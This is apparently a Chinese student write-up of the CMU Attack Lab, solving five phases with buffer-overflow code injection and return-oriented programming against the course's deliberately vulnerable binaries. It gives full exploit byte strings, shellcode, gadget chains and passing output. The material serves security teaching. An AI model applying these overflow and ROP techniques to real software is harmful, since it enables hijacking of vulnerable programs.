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    • Code Injection Attack
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      • phase_5
  • 总结

准备

文件下载

所有文件均可以从官网上直接下载：Lab Assignments

与前两个使用不同的是，本实验需要严格按照 PDF 内的说明完成

文件组成

主要文件有三个：

• ctarget：为 code-injection 攻击，用于 phase 1 到 phase 3

• rtarget：为 return-oriented programming 攻击，用于 phase 4 到 phase 5

• hex2raw：用于生成攻击字符串

一个 cookie.txt 文件用于充当验证码的角色，后面会用到

提交

ctarget 与 rtarget 的用法一致：

Usage: [-hq] ./ctarget -i <infile> 
  -h          Print help information
  -q          Don't submit result to server
  -i <infile> Input file

Usage: [-hq] ./rtarget -i <infile> 
  -h          Print help information
  -q          Don't submit result to server
  -i <infile> Input file

我们不提交到服务器，因此需要带 -q 参数运行

hex2raw 的用法为：

usage: ./hex2raw [-h] [i IN] [-o OUT]
 -h Print this help message
 -i IN specify input text file
 -o OUT specify output data file

当然，可以直接 ./hex2raw < input_file > output_file，而前两个不能这样子（需要带 -q 参数运行）

说明

ctarget 和 rtarget 的输入均是从标准输入读取，二者均是通过函数 getbuf 实现：

unsigned getbuf()
{
  char buf[BUFFER_SIZE];
  Gets(buf);
  return 1;
}

这里的 Gets 函数与标准库的 gets 函数行为一致，均是从标准库读取而不做任何的边界检查

---

正式开始

Code Injection Attack

pahse_1

参照 PDF 中 4.1 的部分

在 test 函数中会调用 getbuf，我们的任务是在 getbuf 执行完之后不再返回 test 函数而是返回到 touch1 函数

我们考察 getbuf 函数行为：

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop

函数开始时会分配 0x28 也就是 40 字节的堆栈，随后调用 Gets 函数

需要说明的是，我们的内存地址为 64 位，并且在内存当中以小端存储

在调用 getbuf 函数之前，call 指令便会将 getbuf 的下一条指令的地址压入其过程的栈帧中，之后的部分才是 getbuf 过程的栈帧

因此我们可以用零来将那 40 个字节全部填充，然后在原先是 call 函数返回地址的地方写入 touch1 的地址

touch1 的地址为：0x4017c0，前面补零并用小端表示为：0xc0 17 40 00

因此最终答案为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

运行结果：

$ ./hex2raw < answer/phase_1/input > answer/phase_1/output
$ ./ctarget -qi answer/phase_1/output 
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00 

phase_2

参照 PDF 中 4.2 的部分

与上一步类似，我们在调用 getbuf 函数之后不能返回到 test 而是要到 touch2

需要注意的是，touch2 函数是带有参数的，我们需要让参数 val 的值与 cookie 的值相同即可，这便是本题需要解决的问题

我们首先需要知道一点：程序计数器 PC 所指向的内存地址就是下一条指令的字节级编码，因此如果我们希望程序去执行我们期望的代码，我们除了需要将代码的字节级编码插入到内存中以外，还需要将 PC 的值设置对应的地址

我们重新把目光放到 getbuf 函数上：

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop

我们发现这个函数只是简单的分配 40 字节大小的栈帧，随后调用 Gets 函数对该 40 字节的区域进行写入，仅仅只是写入，并不会当成指令执行

当 getbuf 结束时，ret 指令会弹出一个跳转地址，然后 PC 便会跳转到该地址开始执行指令（也就是在 test 中 getbuf 函数的下一条指令的地址）

也就是说，ret 指令相当于执行：PC = *rsp, rsp++

那么如果我们需要跳转到某个地址开始执行指令的话，只能用 ret 的方式（因为该指令会设置 PC 的值）。具体地，先将待跳转地址压入栈中，随后执行 ret 指令即可

到此为止，我们便可以正式开始代码插入了，我们的需求是：

• 将 %rdi 的值改为 cookie
• 跳转到 touch2 执行代码（先将地址压入栈中，随后使用 ret 指令）

由于我们不知道这三条指令的字节级编码，因此我们先用汇编语言写出来，随后用 gcc 带 -c 参数进行汇编（-c 表示值编译和汇编而不进行链接），得到可执行程序后用 objdump 进行反汇编即可得到指令对应的字节级编码

在 insert.s 文件中，汇编代码如下：

mov $0x59b997fa, %rdi
push $0x4017ec
ret

执行如下语句：

gcc -c insert.s -o insert
objdump -d insert > insert.asm

insert.asm 的内容如下：

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret    

因此我们插入的字节级数据便得到了。但如果直接将以下内容写入，我们是得不到想要的结果的

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

正如我们刚才分析的那样，Gets 函数仅仅是对栈空进进行写入，程序计数器 PC 的值并没有执行栈顶，因此也就不会执行对应的代码

getbuf 函数结束后会执行一次 ret，我们在 phase_1 阶段将这个值覆盖为 touch1 的地址，我们在这里将其覆盖为栈顶地址，这样 PC 就可以执行栈顶了

也就是说，我们需要找到在 getbuf 中，%rsp 下降 40 字节后的地址

我们启动 cgdb 开始调试：

cgdb ./ctarget

# 在 getbuf 处打断点
(gdb) b getbuf 
Breakpoint 1 at 0x4017a8: file buf.c, line 12.

Breakpoint 1, getbuf () at buf.c:12
12      in buf.c
(gdb) n
14      in buf.c
(gdb) i r rsp
rsp            0x5561dc78          0x5561dc78

我们看到分配完 40 字节后的 %rsp 的地址为 0x5561dc78 ，将地址按小端排列后覆盖原先的 getbuf 的返回地址，有：

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

运行结果：

$ ./ctarget -qi ./answer/phase_2/output 
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

phase_3

参照 PDF 中 4.3 的部分

这里 CMU 的教授给了个提示：When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.

意思是函数 hexmatch 和 strncmp 的调用会将栈空间给覆盖，因此需要小心地存储 cookie 所表示的字符串

hexmatch 函数的定义如下：

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
  char cbuf[110];
  /* Make position of check string unpredictable */
  char *s = cbuf + random() % 100;
  sprintf(s, "%.8x", val);
  return strncmp(sval, s, 9) == 0;
}

这个函数会将 cookie 的值以 16 进制打印到字符数组 s 中，然后在比较 sval 和 s 的前九个字符

也就是说，我们传入的 sval 所指向的字符串需要以 ASCII 字符的形式存储 cookie

我们去看 touch3 的汇编代码：

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	call   40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	call   400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	call   401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	call   400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	call   401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	call   400e40 <exit@plt>

可以看到在开头并没有分配栈帧，对全局变量 val 赋值完毕后直接调用 hexmatch 了，hexmatch 的汇编代码如下：

000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp
  401854:	41 89 fc             	mov    %edi,%r12d
  401857:	48 89 f5             	mov    %rsi,%rbp
  40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401861:	00 00 
  401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)
  401868:	31 c0                	xor    %eax,%eax
  40186a:	e8 41 f5 ff ff       	call   400db0 <random@plt>
  40186f:	48 89 c1             	mov    %rax,%rcx
  401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx
  401879:	0a d7 a3 
  40187c:	48 f7 ea             	imul   %rdx
  40187f:	48 01 ca             	add    %rcx,%rdx
  401882:	48 c1 fa 06          	sar    $0x6,%rdx
  401886:	48 89 c8             	mov    %rcx,%rax
  401889:	48 c1 f8 3f          	sar    $0x3f,%rax
  40188d:	48 29 c2             	sub    %rax,%rdx
  401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax
  401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax
  401898:	48 c1 e0 02          	shl    $0x2,%rax
  40189c:	48 29 c1             	sub    %rax,%rcx
  40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx
  4018a3:	45 89 e0             	mov    %r12d,%r8d
  4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx
  4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  4018b2:	be 01 00 00 00       	mov    $0x1,%esi
  4018b7:	48 89 df             	mov    %rbx,%rdi
  4018ba:	b8 00 00 00 00       	mov    $0x0,%eax
  4018bf:	e8 ac f5 ff ff       	call   400e70 <__sprintf_chk@plt>
  4018c4:	ba 09 00 00 00       	mov    $0x9,%edx
  4018c9:	48 89 de             	mov    %rbx,%rsi
  4018cc:	48 89 ef             	mov    %rbp,%rdi
  4018cf:	e8 cc f3 ff ff       	call   400ca0 <strncmp@plt>
  4018d4:	85 c0                	test   %eax,%eax
  4018d6:	0f 94 c0             	sete   %al
  4018d9:	0f b6 c0             	movzbl %al,%eax
  4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi
  4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi
  4018e8:	00 00 
  4018ea:	74 05                	je     4018f1 <hexmatch+0xa5>
  4018ec:	e8 ef f3 ff ff       	call   400ce0 <__stack_chk_fail@plt>
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	ret    

分配栈帧的是 add $0xffffffffffffff80,%rsp，相当于分配 128 字节的空间，也就是 0x80

touch3 地址存储在 0x5561dca0 处，而在 getbuf 的结尾处，由于执行了 ret 指令，因此 %rsp 的值需要再此基础上加上 0x8 ，也就是 0x5561dca8

那么从当前 %rsp 的位置，到 getbuf 栈顶所在地址 0x5561dc78 之间的内容，一定会被 hexmatch 所覆盖，因此我们需要另外寻找办法

有一个办法是，我们在跳转到 touch3 之前，将栈指针 %rsp 的值赋值为栈顶地址，也就是 0x5561dc78 ，这之后再去调用 touch3 ，那么之后分配的栈帧就不会影响我们插入的内容了

我们写出如下汇编代码，保存为文件 insert.s

leaq 0x5561dc78, %rsp
leaq 0x5561dc90, %rdi
push $0x4018fa
ret

执行如下语句：

$ gcc -c ./answer/phase_3/insert.s -o ./answer/phase_3/insert
$ objdump -d ./answer/phase_3/insert > ./answer/phase_3/insert.asm 

insert.asm 文件内容为：

   0:	48 8d 24 25 78 dc 61 	lea    0x5561dc78,%rsp
   7:	55 
   8:	48 8d 3c 25 90 dc 61 	lea    0x5561dc90,%rdi
   f:	55 
  10:	68 fa 18 40 00       	push   $0x4018fa
  15:	c3                   	ret    

我们将这些字符依次写入，再将 touch3 的开始地址作为 getbuf 的中 ret 的跳转地址，得到最终答案：

48 8d 24 25 78 dc 61 55
48 8d 3c 25 90 dc 61 55
68 fa 18 40 00 c3 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

运行结果：

$ ./ctarget -qi ./answer/phase_3/output 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 8D 24 25 78 DC 61 55 48 8D 3C 25 90 DC 61 55 68 FA 18 40 00 C3 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

Return-Oriented Programming

从这一阶段开始将会介绍一种新的代码攻击方式 ROP, Return-Oriented Programming，直译就是面向返回值编程，提出这种攻击方式是因为：

• 栈随机化：程序运行时栈的位置每次都会变化，我们无法定位堆栈的地址（虽然栈的地址是随机的，但函数的入口地址已经不会发生改变）
• 可执行区域限制：栈内的代码被标记为不可执行，如果执行的话会报 segmenttation fault

下面我们详细说明一下 ROP 的编程思想：

ROP 的核心在于 ret 指令，该指令可以分解为：PC = *rsp, rsp++，也就是会将当前栈顶处的地址赋值给 PC ，然后将栈顶指针向上增加 64 个字节（一定是将地址返回给 PC ，而不是指令的字节序列）

在一段程序中，如果一个 ret 指令前的字节序列，恰好可以由我们需要的指令的字节级编码前后拼接而成，便可以实现 ROP，我们称这一个连续的指令序列为 gadget

我们来看书中的例子：

400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

这是一段正常的代码。但字节序列 48 89 c7 可以被翻译为 movq %rax, %rdi ，并且后面接的正好是 ret ，因此便可以实现 ROP

这里有一个疑问是，为什么一定要以 ret 为结尾，这一点将在 phase_4 中得到解答

phase_4

参照 PDF 中 5.1 的部分，这个实验一定要将 PDF 中的内容全部理解，不然做不下去

我们需要在 rtarget 中完成 phase_2 一样的任务，只不过 rtarget 与 ctarget 不同的是加入了上面的两种防止缓冲器攻击的机制

核心思想还是先对 %rdi 进行赋值，然后跳转到 touch2 的地址即可

由于我们不能将立即数直接赋值给一个寄存器，因此我们需要将立即数赋值给寄存器，然后再将这个寄存器赋值给 %rdi

我们可以考虑用 pop 指令来对寄存器进行赋值，然后再用 mov 指令对 %rdi 进行赋值

查表发现，pop %rax 的字节级编码为 58 ，我们在 rtarget 中搜索 58 的位置，得到如下结果：

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	ret    

字节 90 为 nop 的字节级编码，因此可以直接忽视

我们需要的地址从 0x4019ab 开始，然后以 c3 结束（也就是以 ret 结束）

因此我们将地址 0x4019ab 注入到堆栈中，覆盖原先 getbuf 的返回值，这样就可以让 PC 跳到我们指定的位置了

当执行 ret 之后，PC 会回到原先的位置，如果后面还有一次我们注入的地址，那么就会再执行一次刚刚的行为，所以这就是为什么一定要以 ret 为结尾

在我们从栈中弹出 cookie 后，我们需要执行 mov %rax, %rdi，该指令的字节级编码为：48 89 c7，我们找到：

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	ret    

我们需要的地址为 0x4019c5，到此我们也就执行完所有需要的指令了，之后将 touch2 的地址写入栈中即可

答案如下：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

执行结果：

$ ./rtarget -qi ./answer/phase_4/output 
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

phase_5

参照 PDF 中 5.2 的部分

本实验要求我们在 rtarget 中完成 phase_3 的内容

我们知道，phase_3 的难点在于 hexmatch 会将缓冲区覆盖导致没办法正常读取到插入的字符串，因此我们考虑先改变栈指针 %rsp ，然后将 %rdi 的值指向我们插入字符串的起始地址出

在这里，我们无法去改变 %rsp 的值，因为没有一个合适的 gadget 让我们这么做，因此我们考虑另一种做法：

在 touch3 跳转地址的上面插入该字符串，那么我们只需要让 %rdi 的值指向该地址，那么就可以正常的读取到该字符串

思路到这，也就到了本题的难点：栈是随机的，我们该如何定位 touch3 的前一个地址的位置

由于每次程序运行时栈的地址都不同，我们确实无法直接通过地址赋值的方式给 %rdi 进行赋值，但我们注意到我们需要的地址总是在 touch3 的前一个位置，也就是说，如果我们能得到某个时刻 %rsp 的值，那么将其减去某个偏移量，自然便可以得到我们想要的地址

在 farm 中，我们发现有一个计算两数之和的函数：

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	ret    

我们考虑用这个函数来实现，此函数将 %rdi 和 %rsi 的值累加后放到 %rax 中

我们查表可以发现，mov %rax, %rdi 和 mov %rsp, %rax 这两个操作在 farm 中总能够找到

因此我们用 %rdi 来存储某时刻的栈指针（这一步很容易可以实现），用 %rsi 来存储偏移量

我们用 pop %rax 来将偏移量临时存放在 %rax 中，之后的问题转为如何将偏移量赋值给 %rsi

在 farm 中，没有 gadget 能够直接将值赋值给 %rsi，由于我们的偏移量不会太大，因此考虑看看有没有什么寄存器能够赋值给 %esi

查表得知，能够给 %esi 赋值的只有 %ecx，我们按着这个思路往回推，有哪个寄存器可以给 %ecx 赋值

能够给 %rcx 赋值的只有 %edx，对应的 gadget 如下：

0000000000401a6e <setval_167>:
  401a6e:	c7 07 89 d1 91 c3    	movl   $0xc391d189,(%rdi)
  401a74:	c3                   	ret    

我们需要的是 89 d1 ，后面接了一个 91 ，这个属于 nop ，效果于 90 一样

我们可以在 phase_2 中试一下，将栈顶全部换成 91，得到如下输入

91 91 91 91 91 91 91 91
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

这个输入也是可以通过的

继续刚刚的过程，能够赋值给 %edx 赋值的只有 %eax，到此为止我们便实现了从 %rax 到 %rsi 的赋值

我们将这个过程写成伪代码的形式，方便我们查找对应的 gadget：

rsp -> rax
rax -> rdi
pop rax
//偏移量x
eax -> edx
edx -> ecx
ecx -> esi
lea (rdi, rsi) -> rax
rax -> rdi
//touch3返回地址
cookie字符串

最终答案为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

运行结果：

$ ./rtarget -qi ./answer/phase_5/output 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 

总结

我们最后写一个简单的脚本 auto.sh 来庆祝一下吧

#!/bin/bash
./ctarget -qi ./answer/phase_1/output
./ctarget -qi ./answer/phase_2/output
./ctarget -qi ./answer/phase_3/output
./rtarget -qi ./answer/phase_4/output
./rtarget -qi ./answer/phase_5/output

运行结果：

$ ./auto.sh 
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00 
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 8D 24 25 78 DC 61 55 48 8D 3C 25 90 DC 61 55 68 FA 18 40 00 C3 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61